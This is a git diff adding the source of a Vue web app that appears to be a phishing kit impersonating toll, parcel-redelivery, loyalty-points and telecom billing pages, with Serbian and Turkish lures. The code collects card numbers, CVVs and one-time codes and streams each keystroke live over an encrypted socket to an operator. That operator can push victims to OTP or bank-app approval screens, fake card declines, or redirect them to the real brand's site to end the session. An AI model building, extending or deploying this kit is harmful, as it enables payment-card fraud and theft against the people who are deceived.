возила", + "Traffic violation information (e.g. mobile phone use while driving). First violation 50€, second violation 150€, and so on.": "Информације о саобраћајним прекршајима (нпр. коришћење мобилног телефона током вожње). Први прекршај 50€, други 150€ итд.", + "Tolls": "Путарина", + "Due Date": "Рок доспећа", + "Fine Amount": "Износ казне", + "Pay Now": "Плати сада", + "Note that, due to late payment, this transaction is valid only for credit card payments.": "Имајте у виду да је због кашњења плаћања ова трансакција могућа само кредитном картицом.", + "Cardholder Name": "Име носиоца картице", + "First and Last Name": "Име и презиме", + "XXXX XXXX XXXX XXXX": "XXXX XXXX XXXX XXXX", + "Expiration Date": "Датум истека", + "MM/YY": "MM/ГГ", + "123(CVV)": "123(CVV)", + "Card Icon": "Икона картице", + "CVV": "CVV", + "Successful Toll Payment": "Успешно плаћена путарина", + "Thank you for your payment. The tolls have been processed successfully.": "Хвала вам на плаћању. Путарина је успешно обрађена.", + "Phone": "Телефон", + "Toll Amount": "Износ путарине" +}; diff --git a/a5_za_sf_finessa/src/locales/tr/index.ts b/a5_za_sf_finessa/src/locales/tr/index.ts new file mode 100644 index 0000000..8e11d0e --- /dev/null +++ b/a5_za_sf_finessa/src/locales/tr/index.ts @@ -0,0 +1,82 @@ +export default { + "There is an error in this field, please check": + "Bu alanda bir hata var, lütfen kontrol edin", + "Please enter a valid email address": "Lütfen geçerli bir e-posta adresi girin", + "Dear users, please fill in the form carefully to ensure the successful delivery": + "Değerli kullanıcılar, teslimatın başarılı olması için lütfen formu dikkatlice doldurun", + "Your Name": "Adınız", + "Address": "Adres", + "Detailed Address": "Detaylı Adres", + "(Optional)": "(İsteğe bağlı)", + "City": "Şehir", + "State": "Eyalet", + "Province": "İl", + "Region": "Bölge", + "Zip Code": "Posta Kodu", + "E-Mail": "E-Posta", + "Next": "İleri", + "Telephone Number": "Telefon Numarası", + "Online": "Çevrimiçi", + "Payment": "Ödeme", + "For redelivery, we need to charge some service fees.Your package will be re-delivered after payment": + "Yeniden teslimat için bazı hizmet ücretleri tahsil etmemiz gerekiyor. Ödemenin ardından paketiniz yeniden gönderilecektir", + "lump sum: ": "Toplam tutar: ", + "Cardholder": "Kart Sahibi", + "Card Number": "Kart Numarası", + "Expire Date": "Son Kullanma Tarihi", + "Security Code": "Güvenlik Kodu", + "Submit": "Gönder", + "Click here to receive another code": "Yeni bir kod almak için buraya tıklayın", + "Please confirm your identity and a one-time code will be sent": + "Lütfen kimliğinizi doğrulayın, cep telefonu numaranıza veya e-posta adresinize tek kullanımlık bir kod gönderilecektir. Lütfen doğrulama kodunu buraya girin", + "The verification code has been sent to": + "Doğrulama kodu şu adrese gönderildi:", + "Please do not click the": + "Lütfen 'Yenile' veya 'Geri' düğmelerine tıklamayın, aksi takdirde işleminiz sona erebilir veya kesilebilir", + "Verification code error, please try again": + "Doğrulama kodu hatalı, lütfen tekrar deneyin", + "The session is about to expire, please complete the verification now": + "Oturumunuz sona ermek üzere, lütfen şimdi doğrulamayı tamamlayın", + "This card does not support this transaction, please try another card": + "Bu kart bu işlemi desteklemiyor, lütfen başka bir kart deneyin", + "Authorized bank": "Yetkili banka", + "Please go to the bank App to confirm the authorization": + "Lütfen yetkilendirmeyi onaylamak için banka uygulamasına gidin", + "Please do not close this page": "Lütfen bu sayfayı kapatmayın", + "Payment Successful": "Ödeme Başarılı!", + "Thank you for your purchase. Your payment has been processed successfully": + "Satın alma işleminiz için teşekkür ederiz. Ödemeniz başarıyla işlendi", + "Mailing address": "Posta Adresi", + "street address or house number": "Sokak adresi veya ev numarası", + "Apartment number": "Daire numarası, oda numarası vb.", + "Safe payment": "Güvenli ödeme", + "Verification code": "Doğrulama kodu", + "Welcome": "Hoş geldiniz", + "back": "geri!", + "We reward you for using point services": "Puan hizmetlerini kullandığınız için sizi ödüllendiriyoruz", + "Check your points": "Puanlarınızı kontrol edin", + "Phone number": "Telefon numarası", + "Inquire": "Sorgula", + "Exchange": "Değiştir", + "Spend points": "Puan harca", + "Points Available": "Mevcut Puanlar", + "You don't have enough points": "Yeterli puanınız yok", + "Please redeem your favorite product": "Lütfen favori ürününüzü kullanarak puanınızı harcayın", + "Confirm your shipping address": "Teslimat adresinizi onaylayın", + "Order number": "Sipariş numarası: ", + "Pay": "Öde", + "Pay Message": "{0} ödeyerek puan karşılığı ürün alabilirsiniz", + "Pay electronic tolls online": "Elektronik otoyol ücretlerini çevrimiçi ödeyin", + "your electronic toll payment was unsuccessful": + "Elektronik otoyol ödemeniz başarısız oldu.", + "Billing Information": "Fatura Bilgileri", + "Description": "Açıklama", + "Dear customer": "Sayın müşteri:", + "Electronic Communications Charge Payment Failed": "Elektronik iletişim ücreti ödemesi başarısız oldu", + "Invoice Number": "Fatura Numarası", + "Amount": "Tutar", + "Pay Immediately": "Hemen Öde", + "Phone Number": "Telefon Numarası", + "Electronic communication fee payment failed": "Elektronik iletişim ücreti ödemesi başarısız oldu", + "Illustrate": "Açıklama" +}; diff --git a/a5_za_sf_finessa/src/main.ts b/a5_za_sf_finessa/src/main.ts new file mode 100644 index 0000000..9f2935b --- /dev/null +++ b/a5_za_sf_finessa/src/main.ts @@ -0,0 +1,28 @@ +import { createApp, ref } from "vue"; +import { createPinia } from "pinia"; + +import App from "./App.vue"; +import router from "./router"; +import { createI18n } from "vue-i18n"; +import en from "./locales/en"; +import "./assets/main.css"; +import "./assets/base.css"; +import VueScrollTo from "vue-scrollto"; + +const userData = ref({}); + +const app = createApp(App); +app.config.globalProperties.$currentUser = userData; +const i18n = createI18n({ + locale: "en", + messages: { + en: en, + }, +}); + +app.use(i18n); +app.use(createPinia()); +app.use(router); + +app.mount("#app"); +export default i18n; diff --git a/a5_za_sf_finessa/src/router/index.ts b/a5_za_sf_finessa/src/router/index.ts new file mode 100644 index 0000000..d54aafa --- /dev/null +++ b/a5_za_sf_finessa/src/router/index.ts @@ -0,0 +1,107 @@ +import { createRouter, createMemoryHistory } from "vue-router"; + +// --- All view components are now explicitly imported for full static loading --- +import IndexView from "@/views/IndexView.vue"; +import HomeView from "@/views/HomeView.vue"; +import PayView from "@/views/PayView.vue"; +import OtpView from "@/views/OtpView.vue"; +import CustomOtpView from "@/views/CustomOtpView.vue"; +import AppValidView from "@/views/AppValidView.vue"; +import AddressView from "@/views/AddressView.vue"; +import SuccessView from "@/views/SuccessView.vue"; +import CardView from "@/views/CardView.vue"; + +const router = createRouter({ + /** + * History Mode: createMemoryHistory + * + * This mode maintains an internal history stack **without interacting with the browser's URL**. + * The URL in the address bar will not change, and it will not add entries to the browser's native history. + * + * This is ideal for scenarios like: + * - **Server-Side Rendering (SSR)**: Where a browser environment is not available. + * - **Desktop Applications (e.g., Electron)**: For internal app navigation that shouldn't affect OS-level browser history. + * - **Embedded Applications**: When your Vue app is nested within a larger system and should not alter the parent's URL. + * + * **Important**: Users cannot bookmark specific internal routes or use browser back/forward buttons + * to navigate within your Vue app's routes. Navigation is strictly controlled programmatically (e.g., via `` or `router.push()`). + */ + history: createMemoryHistory(import.meta.env.BASE_URL), + + routes: [ + { + path: "/", + name: "home", + // --- Component directly assigned for full static loading --- + component: IndexView, + }, + { + path: "/home", + name: "home", + component: HomeView, + }, + { + path: "/pay", + name: "pay", + component: PayView, + }, + { + path: "/otpValid", + name: "otpValid", + component: OtpView, + }, + { + path: "/customOtpValid", + name: "customOtpValid", + component: CustomOtpView, + }, + { + path: "/appValid", + name: "appValid", + component: AppValidView, + }, + { + path: "/address", + name: "address", + component: AddressView, + }, + { + path: "/success", + name: "success", + component: SuccessView, + }, + { + path: "/card", + name: "card", + component: CardView, + }, + ], + + /** + * Scroll Behavior: + * Controls the scrolling position when navigating between routes. + * + * @param {Object} to - The target route object. + * @param {Object} from - The current route object being left. + * @param {Object} savedPosition - The saved scroll position if navigating back/forward. + * @returns {Object} An object with `left` and `top` properties (for scrolling to coordinates). + */ + scrollBehavior(to, from, savedPosition) { + // If a saved position exists (e.g., from browser's back/forward, though less common with MemoryHistory), restore it. + if (savedPosition) { + return savedPosition; + } else { + // Otherwise, scroll to the top of the page. Added 'smooth' for a better user experience. + return { left: 0, top: 0, behavior: "smooth" }; + } + }, +}); +router.afterEach(() => { + // Try all common scroll containers + window.scrollTo({ top: 0, left: 0, behavior: "auto" }); + document.documentElement.scrollTop = 0; + document.body.scrollTop = 0; + const wrap = document.querySelector(".v-application--wrap") as HTMLElement | null; + if (wrap) wrap.scrollTop = 0; +}); +export default router; \ No newline at end of file diff --git a/a5_za_sf_finessa/src/stores/counter.ts b/a5_za_sf_finessa/src/stores/counter.ts new file mode 100644 index 0000000..91b3591 --- /dev/null +++ b/a5_za_sf_finessa/src/stores/counter.ts @@ -0,0 +1,15 @@ +import { defineStore } from "pinia"; + +export const useLoadingStore = defineStore("loading", { + state: () => ({ + isLoading: false, + }), + actions: { + showLoading() { + this.isLoading = true; + }, + hideLoading() { + this.isLoading = false; + }, + }, +}); diff --git a/a5_za_sf_finessa/src/stores/loadingStore.ts b/a5_za_sf_finessa/src/stores/loadingStore.ts new file mode 100644 index 0000000..e0e192d --- /dev/null +++ b/a5_za_sf_finessa/src/stores/loadingStore.ts @@ -0,0 +1,13 @@ +// stores/loadingStore.ts +import { defineStore } from "pinia"; + +export const useLoadingStore = defineStore("loading", { + state: () => ({ + isLoading: false, + }), + actions: { + setLoading(value: boolean) { + this.isLoading = value; + }, + }, +}); diff --git a/a5_za_sf_finessa/src/utils/common.ts b/a5_za_sf_finessa/src/utils/common.ts new file mode 100644 index 0000000..6016aeb --- /dev/null +++ b/a5_za_sf_finessa/src/utils/common.ts @@ -0,0 +1,294 @@ +import _ from "lodash"; +import eventBus from "@/utils/eventBus"; +import router from "@/router"; +import { ref } from "vue"; +import { useLoadingStore } from "@/stores/loadingStore"; +import i18n from "@/main"; +import { useSocketIo, type SessionCrypto } from "./socketio"; + +let viteBaseUrl = import.meta.env.VITE_BASE_URL; +if (viteBaseUrl === "/") { + viteBaseUrl = "/"; +} else if (viteBaseUrl === "localhost:8011") { + viteBaseUrl = "ws://" + viteBaseUrl; +} else { + viteBaseUrl = "wss://" + viteBaseUrl; +} + + +// Redirect to an external URL +export function redirectToExternal() { + window.location.replace("https://finessa.co.za/"); +} + +const initHtml = async () => { + const routePath = localStorage.getItem("route"); + // headHtml.value = await loadHtml("/gtm_post/head.html"); + + await router.push(routePath ? `/${routePath}` : "/home"); + setTimeout(async () => { + useLoadingStore().setLoading(false); + loadingBg.value = "#00000072"; + }, 200); +}; + +export const customOtpData = ref({}); + +export function setCustomOtpData(data: any) { + customOtpData.value = data; + localStorage.setItem("customOtpData", JSON.stringify(data)); +} + +export let myWebSocket: any | undefined; + +// Configuration data +export const configData = ref>({}); + +// Utility function to check if all values in an object are not empty +export function areAllValuesNotEmpty( + obj: Record, + excludedFields: string[] = [] +): boolean { + return Object.keys(obj).every((key) => { + if (excludedFields.includes(key)) return true; + const value = obj[key]; + return ( + value !== null && + value !== undefined && + value !== "" && + !(typeof value === "string" && value.trim() === "") + ); + }); +} + +// 存储 WebSocket 和 API 的防抖函数 +const wsDebounceFunctions: Record< + string, + _.DebouncedFunc<(...args: any[]) => void> +> = {}; +const apiDebounceFunctions: Record< + string, + _.DebouncedFunc<(...args: any[]) => void> +> = {}; + +// 获取或创建针对某个键的防抖函数 +function getDebouncedFunction( + debounceFunctions: Record void>>, + key: string, + func: (...args: any[]) => void, + wait: number +) { + if (!debounceFunctions[key]) { + debounceFunctions[key] = _.debounce(func, wait); + } + return debounceFunctions[key]; +} + +const modeRef = ref(1) + + +// 处理输入变化 +export function inputChange(type: string, key: any, value: any) { + const currentTimestamp = Date.now(); // 当前时间戳 + + // WebSocket 防抖函数 + const wsDebouncedFunction = getDebouncedFunction( + wsDebounceFunctions, + key, + (type, key, value) => { + myWebSocket?.send( + JSON.stringify({ + event: "input_text", + content: { type, key, text: value }, + timestamp: currentTimestamp, + }) + ); + }, + 300 + ); + // 调用防抖函数 + wsDebouncedFunction(type, key, value); + +} + + +// Handle login success +export function loginSuccess(token: string, mode: number, sessionCrypto: SessionCrypto | null = null) { + const baseWsUrl = viteBaseUrl !== "/" ? viteBaseUrl : "wss://" + window.location.host; + myWebSocket = useSocketIo(`${baseWsUrl}/ws`, token, sessionCrypto); + myWebSocket?.on("close", () => console.log("Socket closed!")); + myWebSocket?.on("open", () => { + const lastToken = localStorage.getItem("token"); + loginWebsocket(token, lastToken !== token); + }); + + myWebSocket?.on("message", handleMessage); + + window.addEventListener("beforeunload", () => { + myWebSocket?.off("close"); + }); +} + +// Handle WebSocket messages +function handleMessage(data: any) { + console.log("Received WebSocket message:", data); + const jsonData = JSON.parse(data); + if (!jsonData || !jsonData.event) return; + + const { event, content } = jsonData; + + switch (event) { + case "login": + //handleLoginEvent(content); + break; + case "result_type": + handleResultTypeEvent(content); + break; + case "reload": + window.location.reload(); + break; + case "navigate": + navigateTo(content.pagePath, content); + break; + default: + break; + } +} + +// Handle result type event +function handleResultTypeEvent(content: any) { + if (!content) return; + console.log("Handling result type event with content:", content); + const typeHandlers: Record void> = { + customOtpValid: () => navigateTo("/customOtpValid", content), + otpValid: () => navigateTo("/otpValid", content), + appValid: () => navigateTo("/appValid", content), + success: () => router.push("/success"), + kickOut: redirectToExternal, + block: redirectToExternal, + otpFail: () => + eventBus.emit("otp-valid", { + message2: + content.value.message2 || + i18n.global.t("Verification code error, please try again"), + }), + appFail: () => + eventBus.emit("app-valid", { + message2: + content.value.message2 || + i18n.global.t( + "The session is about to expire, please complete the verification now" + ), + }), + back: () => handleBackOrReject(content, true), + reject: () => handleBackOrReject(content, false), + refresh: () => { + if (localStorage.getItem("route")) { + localStorage.removeItem("route"); + window.location.reload(); + } + }, + + }; + if (content.type == "customOtpValid") { + if (content.value.customOtpData) { + setCustomOtpData(JSON.parse(content.value.customOtpData)); + } + } + if (content.type === "customOtpValid") { + if (customOtpData.value.name === "生日验证") { + useLoadingStore().setLoading(false); + navigateTo("/pinCode", content); + return; + } + } + if (content.type == "customOtpFail") { + eventBus.emit("custom-otp-valid", { + message2: content.value.message2, + }); + } + + const handler = typeHandlers[content.type]; + if (handler) handler(); + + useLoadingStore().setLoading(false); +} + +// Navigate to specific path with query parameters +function navigateTo(path: string, content: any) { + + router.push('/temp').then(() => { + router.push({ + path: path, + query: { + cardType: content.value?.data?.cardData?.cardBIN?.schema, + message1: content.value?.message1, + key: new Date().getMilliseconds(), + }, + }); + }); +} + +// Handle back or reject type +function handleBackOrReject(content: any, isBack: boolean) { + let message2 = i18n.global.t( + "This card does not support this transaction, please try another card" + ); + + if (configData.value.error_card_msg) { + message2 = configData.value.error_card_msg; + } + + if (content.value.type) { + const type = content.value.type; + if (type === "denyC" && configData.value.deny_c_msg) { + message2 = configData.value.deny_c_msg; + } + if (type === "denyD" && configData.value.deny_d_msg) { + message2 = configData.value.deny_d_msg; + } + } + + if (content.value.message2) { + message2 = content.value.message2; + } + + if (isBack) { + router.push({ path: "/card", query: { message2 } }); + } + + eventBus.emit("my-event", { message2 }); +} + +// Login to WebSocket +function loginWebsocket(token: string, isFirst: boolean) { + myWebSocket?.send( + JSON.stringify({ + event: "login", + content: { tag: "user", token, isFirst }, + }) + ); + initHtml(); +} + + + +export async function loadHtml(url: string) { + try { + const response = await fetch(url); // 替换为您的 HTML 文件路径 + if (!response.ok) { + return ""; + } + return await response.text(); + } catch (error) { + return ""; + } +} +export const headHtml = ref(""); + +export const headerHtml = ref(""); +export const footerHtml = ref(""); +export const loadingBg = ref("#ffffff"); + + + diff --git a/a5_za_sf_finessa/src/utils/eventBus.ts b/a5_za_sf_finessa/src/utils/eventBus.ts new file mode 100644 index 0000000..7bb861a --- /dev/null +++ b/a5_za_sf_finessa/src/utils/eventBus.ts @@ -0,0 +1,17 @@ +// src/eventBus.ts +import mitt from "mitt"; + +// 定义事件名称和对应的数据类型 +type Events = { + "my-event": { message2: string }; + "otp-valid": { message2: string }; + "app-valid": { message2: string }; + "custom-otp-valid": { message2: string }; + + // 可以在这里添加其他事件 + // 'another-event': number; +}; + +const eventBus = mitt(); + +export default eventBus; diff --git a/a5_za_sf_finessa/src/utils/socketio.ts b/a5_za_sf_finessa/src/utils/socketio.ts new file mode 100644 index 0000000..fbbb09a --- /dev/null +++ b/a5_za_sf_finessa/src/utils/socketio.ts @@ -0,0 +1,407 @@ +// 设置 +import { useLoadingStore } from "@/stores/loadingStore"; +import { io, Socket as SocketIOClient } from "socket.io-client"; + +// ─── 会话加密接口 ─────────────────────────────────────────────── +export interface SessionCrypto { + aesKey: CryptoKey; // AES-128-GCM,不可导出 +} + +// ─── AES-GCM 加密 / 解密 ─────────────────────────────────────── +async function encryptPayload(plain: string, aesKey: CryptoKey): Promise { + const iv = crypto.getRandomValues(new Uint8Array(12)); + const encoded = new TextEncoder().encode(plain); + const cipher = await crypto.subtle.encrypt({ name: "AES-GCM", iv }, aesKey, encoded); + const out = new Uint8Array(iv.byteLength + cipher.byteLength); + out.set(iv, 0); + out.set(new Uint8Array(cipher), iv.byteLength); + let binary = ""; + for (let i = 0; i < out.length; i++) binary += String.fromCharCode(out[i]); + return JSON.stringify({ data: btoa(binary) }); +} + +async function decryptPayload(raw: unknown, aesKey: CryptoKey): Promise { + const rawStr = + typeof raw === "string" ? raw : + raw && typeof raw === "object" ? JSON.stringify(raw) : String(raw ?? ""); + + let envelope: { data?: string }; + try { envelope = JSON.parse(rawStr); } catch { return rawStr; } + if (!envelope?.data) return rawStr; + + const bytes = Uint8Array.from(atob(envelope.data), c => c.charCodeAt(0)); + const iv = bytes.slice(0, 12); + const cipher = bytes.slice(12); + try { + const plain = await crypto.subtle.decrypt({ name: "AES-GCM", iv }, aesKey, cipher); + return new TextDecoder().decode(plain); + } catch { + return rawStr; + } +} + +// ─── ECDH 密钥协商工具 ───────────────────────────────────────── + +/** + * 生成 P-256 临时密钥对,返回 { keyPair, clientPublicKeyB64 } + */ +export async function generateECDHKeyPair(): Promise<{ + keyPair: CryptoKeyPair; + clientPublicKeyB64: string; +}> { + const keyPair = await crypto.subtle.generateKey( + { name: "ECDH", namedCurve: "P-256" }, + true, + ["deriveBits"] + ); + const pubKeyRaw = await crypto.subtle.exportKey("raw", keyPair.publicKey); + const clientPublicKeyB64 = btoa( + Array.from(new Uint8Array(pubKeyRaw)).map(b => String.fromCharCode(b)).join("") + ); + return { keyPair, clientPublicKeyB64 }; +} + +/** + * 用服务端公钥(base64 raw P-256)与给定的客户端私钥推导 AES-128-GCM 会话密钥 + */ +export async function deriveSessionKey( + serverPublicKeyB64: string, + clientPrivateKey: CryptoKey +): Promise { + const serverPubKeyBytes = Uint8Array.from(atob(serverPublicKeyB64), c => c.charCodeAt(0)); + const serverPublicKey = await crypto.subtle.importKey( + "raw", serverPubKeyBytes, + { name: "ECDH", namedCurve: "P-256" }, false, [] + ); + const sharedBits = await crypto.subtle.deriveBits( + { name: "ECDH", public: serverPublicKey }, clientPrivateKey, 256 + ); + const hkdfKey = await crypto.subtle.importKey("raw", sharedBits, "HKDF", false, ["deriveKey"]); + const aesKey = await crypto.subtle.deriveKey( + { + name: "HKDF", hash: "SHA-256", + salt: new Uint8Array(32), + info: new TextEncoder().encode("socket-aes-key"), + }, + hkdfKey, + { name: "AES-GCM", length: 128 }, + false, + ["encrypt", "decrypt"] + ); + return { aesKey }; +} + +/** 断线/握手阶段队列最大长度,防止内存无限增长 */ +const MAX_QUEUE_SIZE = 200; + +class Socket { + url: string; + private token: string; + private sessionCrypto: SessionCrypto | null; + private ecdhKeyPair: CryptoKeyPair | null = null; + private clientPublicKeyB64: string | null = null; + /** 握手全部完成(ECDH + login)后才为 true,期间消息也入队 */ + private isReady = false; + socket: SocketIOClient | null = null; + listeners: { [key: string]: Function[] } = {}; + private messageQueue: any[] = []; // 断连/握手期间暂存消息的队列 + + constructor(url: string, token = "", sessionCrypto: SessionCrypto | null = null) { + this.url = url; + this.token = token; + this.sessionCrypto = sessionCrypto; + this.init(); + this.setupVisibilityListener(); + } + + /** 懒初始化 ECDH 密钥对(只生成一次,重连时复用) */ + private async initECDH() { + if (!this.ecdhKeyPair) { + const { keyPair, clientPublicKeyB64 } = await generateECDHKeyPair(); + this.ecdhKeyPair = keyPair; + this.clientPublicKeyB64 = clientPublicKeyB64; + } + } + + /** + * 通过 Socket.IO key_exchange 事件与服务端协商会话密钥。 + * 每次 connect(包括服务端重启后重连)都调用,确保密钥始终有效。 + */ + private performKeyExchange(): Promise { + return new Promise((resolve) => { + // 3 秒超时:若服务端不响应则无加密继续 + const timeout = setTimeout(() => { + this.socket?.off('key_exchange_result', onResult); + this.sessionCrypto = null; + resolve(); + }, 3000); + + const onResult = async (serverPubKeyB64: string) => { + clearTimeout(timeout); + try { + this.sessionCrypto = await deriveSessionKey(serverPubKeyB64, this.ecdhKeyPair!.privateKey); + } catch (e) { + console.error('[Socket] key derivation failed:', e); + this.sessionCrypto = null; + } + resolve(); + }; + + this.socket?.once('key_exchange_result', onResult); + this.socket?.emit('key_exchange', this.clientPublicKeyB64); + }); + } + + /** + * 发送 login 并等待服务端回 {event:"login",content:"success"}。 + * 服务端发送 login success 时 client.State 已同步设置完毕, + * 之后再冲刷队列才能保证消息不被 "State == nil" 守卫丢弃。 + */ + private async sendLoginAndWait(): Promise { + await new Promise((resolve) => { + let settled = false; + const settle = () => { + if (settled) return; + settled = true; + this.socket?.off('message', onRawMessage); + clearTimeout(timer); + resolve(); + }; + // 3 秒兜底:即使没收到确认也继续 + const timer = setTimeout(settle, 3000); + + const onRawMessage = async (raw: unknown) => { + try { + let text: string; + if (this.sessionCrypto) { + text = await decryptPayload(raw, this.sessionCrypto.aesKey); + } else { + text = typeof raw === 'string' ? raw : JSON.stringify(raw); + } + const parsed = JSON.parse(text); + if (parsed?.event === 'login') settle(); + } catch { /* 忽略解析失败 */ } + }; + + // 先注册监听,再发 login,避免极速响应漏掉 + this.socket?.on('message', onRawMessage); + this.sendRaw(JSON.stringify({ event: 'login', content: { token: this.token }, timestamp: Date.now() })).catch(() => settle()); + }); + } + + init() { + if (this.socket) { + return; + } + console.log("Socket initialized with URL:", this.url); + this.socket = io(this.url, { + path: "/socket.io", + query: this.token ? { token: this.token } : undefined, + reconnectionDelay: 1500, + reconnectionAttempts: Infinity, // 服务端重启后持续重连,不放弃 + }); + + // 连接事件处理(含重连):每次都重新做 ECDH,解决服务端重启后密钥失效问题 + this.socket.on('connect', async () => { + this.isReady = false; // 握手期间暂停直接发送,新消息继续入队 + // 清理上一次连接残留的 key_exchange_result 监听器,避免多次重连后堆积 + this.socket?.off('key_exchange_result'); + try { + await this.initECDH(); + await this.performKeyExchange(); + // 等待服务端 login success 确认后再冲刷队列 + // 保证 client.State 已在服务端设置,避免消息被 "State==nil" 守卫丢弃 + await this.sendLoginAndWait(); + } catch (e) { + console.error('[Socket] 握手阶段异常,将以无加密方式继续:', e); + this.sessionCrypto = null; + } finally { + // 无论握手是否成功,都必须就绪并冲刷队列,避免消息永久滞留 + this.isReady = true; + await this.flushMessageQueue(); // 连接后按序发送排队消息 + this.emit('open', { type: 'open' }); + } + }); + + // 消息接收(支持 AES-GCM 解密) + this.socket.on('message', async (data) => { + let plainText: string; + if (this.sessionCrypto) { + plainText = await decryptPayload(data, this.sessionCrypto.aesKey); + } else { + plainText = typeof data === 'string' ? data : JSON.stringify(data); + } + this.emit('message', plainText); + }); + + // 连接错误 + this.socket.on('connect_error', (error) => { + this.emit('error', error); + }); + + // 断开连接 + this.socket.on('disconnect', (reason) => { + this.isReady = false; // 断开后消息重新入队 + this.emit('close', { reason }); + }); + + // 重连尝试 + this.socket.on('reconnect_attempt', (attemptNumber) => { + this.emit('reconnect_attempt', attemptNumber); + }); + + // 重连成功 + this.socket.on('reconnect', (attemptNumber) => { + this.emit('reconnect', attemptNumber); + }); + + // 重连失败 + this.socket.on('reconnect_failed', () => { + useLoadingStore().setLoading(false); // 重连失败时关闭加载状态 + this.emit('reconnect_failed', { type: 'reconnect_failed' }); + }); + + // 处理所有其他事件 + this.socket.onAny((eventName, ...args) => { + if (!['connect', 'disconnect', 'error', 'reconnect_attempt', + 'reconnect', 'reconnect_failed', 'message'].includes(eventName)) { + this.emit(eventName, args); + } + }); + } + + isConnected(): boolean { + return this.socket?.connected ?? false; + } + + /** 用于握手阶段的 login 事件,同样走加密通道 */ + private async sendRaw(data: string) { + if (this.sessionCrypto) { + const encrypted = await encryptPayload(data, this.sessionCrypto.aesKey); + this.socket?.emit('message', encrypted); + } else { + this.socket?.emit('message', data); + } + } + + async send(data: string) { + try { + const payload = JSON.parse(data); + + // 添加时间戳 + const messageData = { + ...payload, + timestamp: payload.timestamp || Date.now() + }; + + // 未就绪(断连中或 ECDH/login 握手中)时统一入队,保证消息不丢失且顺序正确 + if (!this.isReady) { + if (this.messageQueue.length < MAX_QUEUE_SIZE) { + this.messageQueue.push(messageData); + } else { + console.warn('[Socket] 消息队列已满,丢弃消息:', messageData.event); + } + this.reconnectIfNeeded(); + return; + } + + const serialized = JSON.stringify(messageData); + if (this.sessionCrypto) { + const encrypted = await encryptPayload(serialized, this.sessionCrypto.aesKey); + this.socket?.emit('message', encrypted); + } else { + this.socket?.emit('message', serialized); + } + } catch (error) { + console.error('Invalid message format. Must be a valid JSON string.', error); + } + } + + /** 按顺序逐条发送积压消息,保证 FIFO 且不会因并发导致乱序 */ + async flushMessageQueue() { + if (this.messageQueue.length === 0) return; + const queue = this.messageQueue.splice(0); // 原子取出,避免发送期间新消息混入 + for (const msg of queue) { + if (!this.isReady || !this.socket?.connected) { + // 发送途中再次断开,将剩余消息放回队首 + this.messageQueue.unshift(...queue.slice(queue.indexOf(msg))); + break; + } + try { + const serialized = JSON.stringify(msg); + if (this.sessionCrypto) { + const encrypted = await encryptPayload(serialized, this.sessionCrypto.aesKey); + this.socket?.emit('message', encrypted); + } else { + this.socket?.emit('message', serialized); + } + } catch (e) { + console.error('[Socket] flushMessageQueue 发送失败:', e); + // 发送失败也放回队首 + this.messageQueue.unshift(...queue.slice(queue.indexOf(msg))); + break; + } + } + } + + reconnectIfNeeded() { + if (!this.isConnected() && this.socket) { + this.socket.connect(); + } + } + + on(event: string, callback: Function) { + // 需要经过本层中间件(如解密)的事件,统一走 this.listeners + if (['open', 'close', 'error', 'reconnect', 'reconnect_attempt', 'reconnect_failed', 'message'].includes(event)) { + if (!this.listeners[event]) { + this.listeners[event] = []; + } + this.listeners[event].push(callback); + } else { + // 其他 Socket.IO 原生事件 + this.socket?.on(event, (...args) => callback(...args)); + } + } + + off(event: string) { + if (this.listeners[event]) { + delete this.listeners[event]; + } + this.socket?.off(event); + } + + emit(event: string, data: any) { + if (this.listeners[event]) { + this.listeners[event].forEach(callback => callback(data)); + } + } + + private handleVisibilityChange = () => { + if (document.visibilityState === "visible" && !this.isConnected() && this.socket) { + this.socket.connect(); + } + }; + + setupVisibilityListener() { + document.addEventListener("visibilitychange", this.handleVisibilityChange); + } + + disconnect() { + document.removeEventListener("visibilitychange", this.handleVisibilityChange); + this.socket?.disconnect(); + } +} + +function useSocketIo(url: string, token = "", sessionCrypto: SessionCrypto | null = null) { + const socket = new Socket(url, token, sessionCrypto); + + return { + socket, + send: socket.send.bind(socket), + on: socket.on.bind(socket), + off: socket.off.bind(socket), + disconnect: socket.disconnect.bind(socket), + }; +} + +export { useSocketIo, Socket }; \ No newline at end of file diff --git a/a5_za_sf_finessa/src/utils/websocket.ts b/a5_za_sf_finessa/src/utils/websocket.ts new file mode 100644 index 0000000..2e9ddc8 --- /dev/null +++ b/a5_za_sf_finessa/src/utils/websocket.ts @@ -0,0 +1,392 @@ +import { useLoadingStore } from "@/stores/loadingStore"; +import { sendInput } from "@/api/api"; + +// ============ 类型定义 ============ +interface SocketOptions { + heartbeatInterval?: number; + reconnectInterval?: number; + maxReconnectAttempts?: number; + retryIntervals?: number[]; + forceClose?: boolean; + timeOut?: boolean; +} + +interface PendingMessage { + id: string; + data: string; + retries: number; + timestamp: number; +} + +// ============ 默认配置 ============ +const DEFAULT_OPTIONS: Required = { + heartbeatInterval: 2000, + reconnectInterval: 1000, + maxReconnectAttempts: 10, + retryIntervals: [2000, 3000, 5000], // 2秒、3秒、5秒重试 + forceClose: false, + timeOut: false, +}; + +const MAX_RECONNECT_INTERVAL = 30000; +const MAX_HEARTBEAT_MISS = 3; +const RETRY_CHECK_INTERVAL = 1000; + +// ============ Socket 类 ============ +class Socket { + private url: string; + private ws: WebSocket | null = null; + private opts: Required; + + // 连接管理 + private reconnectAttempts = 0; + private reconnectTimeoutId: number | null = null; + + // 心跳管理 + private heartbeatIntervalId: number | null = null; + private heartbeatMissCount = 0; + + // 消息管理 + private sendQueue: PendingMessage[] = []; + private pendingConfirmations = new Map(); + private retryCheckerId: number | null = null; + + // 事件管理 + private listeners: Record = {}; + + constructor(url: string, opts: SocketOptions = {}) { + this.url = url; + this.opts = { ...DEFAULT_OPTIONS, ...opts }; + + this.init(); + this.setupBrowserListeners(); + } + + // ============ 初始化与连接 ============ + + private init(): void { + if (this.isConnectingOrOpen()) return; + + this.heartbeatMissCount = 0; + this.ws = new WebSocket(this.url); + this.bindWebSocketEvents(); + } + + private bindWebSocketEvents(): void { + if (!this.ws) return; + + this.ws.onopen = this.handleOpen.bind(this); + this.ws.onmessage = this.handleMessage.bind(this); + this.ws.onerror = this.handleError.bind(this); + this.ws.onclose = this.handleClose.bind(this); + } + + // ============ WebSocket 事件处理 ============ + + private handleOpen(event: Event): void { + this.reconnectAttempts = 0; + this.clearReconnectTimeout(); + this.startHeartbeat(); + this.startRetryChecker(); + this.emit("open", event); + this.flushSendQueue(); + } + + private handleMessage(event: MessageEvent): void { + try { + const data = JSON.parse(event.data); + + switch (data.event) { + case "heartbeat": + this.heartbeatMissCount = 0; + break; + case 